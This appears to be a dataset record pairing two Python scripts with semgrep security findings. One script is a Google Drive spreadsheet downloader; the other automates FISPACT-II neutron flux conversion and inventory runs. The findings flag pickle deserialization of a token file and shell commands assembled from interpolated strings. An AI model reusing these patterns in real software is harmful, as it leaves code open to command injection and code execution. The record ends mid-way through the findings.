"revision_id": "3eea455d7d0cc4639bb5c5a161384fefa6f36525",
"snapshot_id": "f0b77382ad32a5aeb7bb726cc02ba2ebe25816b9",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Elyspio/robocup_pepper-scenario_data_generator/3eea455d7d0cc4639bb5c5a161384fefa6f36525/scripts/gSheetDownloader.py",
"visit_date": "2022-12-15T13:47:57.687841"
} | 2.40625 | stackv2 | # !pip install
from __future__ import print_function
import io
import os.path
import pickle
from google.auth.transport.requests import Request
from google_auth_oauthlib.flow import InstalledAppFlow
from googleapiclient.discovery import build
# If modifying these scopes, delete the file token.pickle.
from googleapiclient.http import MediaIoBaseDownload
SCOPES = ['https://www.googleapis.com/auth/drive.readonly']
class ExcelGenerator:
def __init__(self, root_folder_id, excel_path="excels"):
if not os.path.exists(excel_path):
os.mkdir(excel_path)
self.service = ExcelGenerator.init_drive_connection()
self.import_drive_folder(root_folder_id, excel_path)
pass
def import_drive_folder(self, folder_id, dest_path):
folder_id = "'{0}' in parents".format(folder_id)
req = self.service.files().list(pageSize=50, q=folder_id).execute()
for f in req.get('files', []):
file_path = os.path.join(os.path.abspath(dest_path), f['name'])
if f['mimeType'] == 'application/vnd.google-apps.folder':
if not os.path.exists(file_path):
os.mkdir(file_path)
ExcelGenerator.import_drive_folder(self, f['id'], os.path.join(dest_path, f['name']))
else:
request = self.service.files().export_media(fileId=f['id'],
mimeType='application/vnd.openxmlformats-officedocument'
'.spreadsheetml.sheet')
fh = io.BytesIO()
downloader = MediaIoBaseDownload(fh, request)
done = False
while done is False:
status, done = downloader.next_chunk()
print("Download {0:50} {1:3d}%.".format(f['name'], int(status.progress() * 100)))
with open(os.path.join(file_path + '.xlsx'), "wb") as excel_file:
excel_file.write(fh.getvalue())
fh.close()
@staticmethod
def init_drive_connection(path_to_credential="./credentials.json"):
"""Shows basic usage of the Drive v3 API.
Prints the names and ids of the first 10 files the user has access to.
"""
creds = None
# The file token.pickle stores the user's access and refresh tokens, and is
# created automatically when the authorization flow completes for the first
# time.
if os.path.exists('token.pickle'):
with open('token.pickle', 'rb') as token:
creds = pickle.load(token)
# If there are no (valid) credentials available, let the user log in.
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
path_to_credential, SCOPES)
creds = flow.run_local_server()
# Save the credentials for the next run
with open('token.pickle', 'wb') as token:
pickle.dump(creds, token)
return build('drive', 'v3', credentials=creds)
| 75 | 42.52 | 116 | 23 | 663 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e1f5335193f45d60_94b0d262", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 62, "column_start": 25, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e1f5335193f45d60.py", "start": {"line": 62, "col": 25, "offset": 2637}, "end": {"line": 62, "col": 43, "offset": 2655}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e1f5335193f45d60_051b98d8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 17, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e1f5335193f45d60.py", "start": {"line": 73, "col": 17, "offset": 3182}, "end": {"line": 73, "col": 42, "offset": 3207}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
62,
73
] | [
62,
73
] | [
25,
17
] | [
43,
42
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | gSheetDownloader.py | /scripts/gSheetDownloader.py | Elyspio/robocup_pepper-scenario_data_generator | MIT | |
2024-11-18T20:15:52.068309+00:00 | 1,588,836,473,000 | 8fbb99967f0a34e91e27b691cdad74d5d534fd1b | 2 | {
"blob_id": "8fbb99967f0a34e91e27b691cdad74d5d534fd1b",
"branch_name": "refs/heads/master",
"committer_date": 1588836473000,
"content_id": "e80c6b9692a068ea24ea6aa85ebfa60eef590b72",
"detected_licenses": [
"MIT"
],
"directory_id": "b197eb7d40d03a96217776e3f88b91c7ff1ec368",
"extension": "py",
"filename": "runAllFluxConvert.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 261972704,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5769,
"license": "MIT",
"license_type": "permissive",
"path": "/runAllFluxConvert.py",
"provenance": "stack-edu-0054.json.gz:570783",
"repo_name": "ezsolti/FGS2Mbackup",
"revision_date": 1588836473000,
"revision_id": "0f7110b5933a426e43e7f486656c0a09bc1db4a3",
"snapshot_id": "c81e2e06a2b925de5702ea8a5733d41ce40d49fa",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ezsolti/FGS2Mbackup/0f7110b5933a426e43e7f486656c0a09bc1db4a3/runAllFluxConvert.py",
"visit_date": "2022-06-20T17:07:41.348163"
} | 2.46875 | stackv2 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
run all flux convert and inventory runs
Things to change if rerun is needed:
- path
- volumesandmats.txt
"""
import matplotlib.pyplot as plt
import os
import numpy as np
outputfile='NESSA-Neutron-Openo'
path='NESSA0505open'
sourceRate=1e11 #1/s
materials={}
materials['11']={'density': 7.874, 'ref': 'ironRef'}
materials['12']={'density': 11.34, 'ref': 'leadRef'}
materials['3']={'density': 2.30, 'ref': 'concrete3Ref'}
materials['5']={'density': 0.96, 'ref': 'plasticRef'}
materials['6']={'density': 3.35, 'ref': 'concrete6Ref'}
materials['7']={'density': 3.9, 'ref': 'concrete7Ref'}
def tallyread(filename, tallynum):
mcnpoutput = open(filename,'r')
energy=[]
flux=[]
fluxerr=[]
tallycellFlag=False
tallyFlag=False
for line in mcnpoutput:
x=line.strip().split()
if len(x)>=2 and x[0]=='1tally' and x[1]==str(tallynum):
tallycellFlag=True
if tallyFlag and x[0]=='total':
total=float(x[1])
totalerr=float(x[2])
tallyFlag=False
if tallyFlag:
energy.append(float(x[0]))
flux.append(float(x[1]))
fluxerr.append(float(x[2]))
if tallycellFlag and len(x)==1 and x[0]!='volumes' and x[0]!='energy':
volume=float(x[0])
if tallycellFlag and len(x)>0 and x[0]=='energy':
tallyFlag=True
tallycellFlag=False
return np.array(energy),np.array(flux),np.array(fluxerr),total,totalerr,volume
tallies=[line.strip().split()[1] for line in os.popen('grep 1tally %s'%outputfile).readlines() if line.strip().split()[1].isdecimal()]
tally={}
#plt.figure()
for i in tallies:
tally[i]={}
tally[i]['energy'],tally[i]['flux'],tally[i]['error'],tally[i]['total'],tally[i]['totalerr'],tally[i]['volume']=tallyread('%s'%outputfile,i)
if i not in ['4','14','24','34']:
volmat=os.popen('grep -w %s volumesandmats.txt'%i[:-1]).readlines()[0].strip().split()
tally[i]['mat']=volmat[2]
tally[i]['density']=materials[volmat[2]]['density']
tally[i]['mass']=tally[i]['volume']*tally[i]['density']
elif i =='14':
volmat=os.popen('grep -w %s volumesandmats.txt'%1310).readlines()[0].strip().split()
tally[i]['mat']=volmat[2]
tally[i]['density']=materials[volmat[2]]['density']
tally[i]['mass']=tally[i]['volume']*tally[i]['density']
elif i =='24':
volmat=os.popen('grep -w %s volumesandmats.txt'%2430).readlines()[0].strip().split()
tally[i]['mat']=volmat[2]
tally[i]['density']=materials[volmat[2]]['density']
tally[i]['mass']=tally[i]['volume']*tally[i]['density']
elif i =='34':
volmat=os.popen('grep -w %s volumesandmats.txt'%2060).readlines()[0].strip().split()
tally[i]['mat']=volmat[2]
tally[i]['density']=materials[volmat[2]]['density']
tally[i]['mass']=tally[i]['volume']*tally[i]['density']
else:
volmat=os.popen('grep -w %s volumesandmats.txt'%2310).readlines()[0].strip().split()
tally[i]['mat']=volmat[2]
tally[i]['density']=materials[volmat[2]]['density']
tally[i]['mass']=tally[i]['volume']*tally[i]['density']
print('-----')
print(sum(tally[i]['flux']),tally[i]['total'],tally[i]['totalerr'])
print(tally[i]['volume'])
print(tally[i]['mass'])
print(tally[i]['density'])
print(tally[i]['mat'])
if tally[i]['totalerr']<1/100:
tally[i]['fluxes']='/home/zsolt/FISPACT-II/%s/flux_convert_tally%s/fluxes'%(path,i)
else:
tally[i]['fluxes']='/home/zsolt/FISPACT-II/%s/flux_convert_tally%s/fluxes'%(path,'30004')
#####
#
# FLux convert runs
#
#####
for i in tally.keys():
en=np.flip(1e6*tally[i]['energy'])
flux=np.flip(tally[i]['flux'][1:]) #dropping the 710th group 0-1e-11
arbstr=''
for eg in en:
arbstr+='%.4e\n'%eg
for fl in flux:
arbstr+='%.4e\n'%fl
arbstr+='1.00\nNessa Spectrum'
os.chdir('/home/zsolt/FISPACT-II/%s'%path)
os.mkdir('flux_convert_tally%s'%i)
os.system('cp fluxconvertRef/files.convert flux_convert_tally%s/files.convert'%i)
os.system('cp fluxconvertRef/convert.i flux_convert_tally%s/convert.i'%i)
os.system('cp fluxconvertRef/fisprun.sh flux_convert_tally%s/fisprun.sh'%i)
filename='flux_convert_tally%s/arb_flux'%i
arbfile=open(filename,'w')
arbfile.write(arbstr)
arbfile.close()
os.chdir('/home/zsolt/FISPACT-II/%s/flux_convert_tally%s'%(path,i))
os.system('./fisprun.sh')
#####
#
# Inventory runs
#
#####
for i in tally.keys():
os.chdir('/home/zsolt/FISPACT-II/%s'%path)
os.mkdir('inventory%s'%i)
os.system('cp collapse.i inventory%s/collapse.i'%i)
os.system('cp condense.i inventory%s/condense.i'%i)
os.system('cp print_lib.i inventory%s/print_lib.i'%i)
os.system('cp fisprun.sh inventory%s/fisprun.sh'%i)
os.system('cp files inventory%s/files'%i)
os.system('cp %s inventory%s/fluxes'%(tally[i]['fluxes'],i))
with open ('/home/zsolt/FISPACT-II/%s/'%path+materials[tally[i]['mat']]['ref'], "r") as reffile:
inpRef=reffile.read()
inpRef=inpRef.replace('MassStr',str(tally[i]['mass']/1000))
fluxi=sourceRate*(tally[i]['total']+tally[i]['total']*tally[i]['totalerr'])
inpRef=inpRef.replace('FluxStr',str(fluxi))
filename='inventory%s/inventory.i'%i
invfile=open(filename,'w')
invfile.write(inpRef)
invfile.close()
print('-----------------')
print(i)
print('-----------------')
os.chdir('/home/zsolt/FISPACT-II/%s/inventory%s'%(path,i))
os.system('./fisprun.sh')
os.system('rm ARRAYX')
os.system('rm COLLAPX')
| 169 | 33.14 | 144 | 21 | 1,771 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_194bce666e34c12c_30daa353", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 5, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 29, "col": 5, "offset": 693}, "end": {"line": 29, "col": 36, "offset": 724}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_194bce666e34c12c_1b20a508", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 18, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 29, "col": 18, "offset": 706}, "end": {"line": 29, "col": 36, "offset": 724}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_06194453", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 46, "column_end": 83, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 56, "col": 46, "offset": 1599}, "end": {"line": 56, "col": 83, "offset": 1636}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_7bdfe8ec", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 63, "line_end": 63, "column_start": 16, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 63, "col": 16, "offset": 1944}, "end": {"line": 63, "col": 64, "offset": 1992}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_b17fea2b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 16, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 68, "col": 16, "offset": 2216}, "end": {"line": 68, "col": 62, "offset": 2262}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_9baba8d4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 16, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 73, "col": 16, "offset": 2486}, "end": {"line": 73, "col": 62, "offset": 2532}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_342e747e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 16, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 78, "col": 16, "offset": 2756}, "end": {"line": 78, "col": 62, "offset": 2802}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_90b7ae8a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 16, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 83, "col": 16, "offset": 3017}, "end": {"line": 83, "col": 62, "offset": 3063}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_43681c5c", "tool_name": "semgrep", "rule_id": 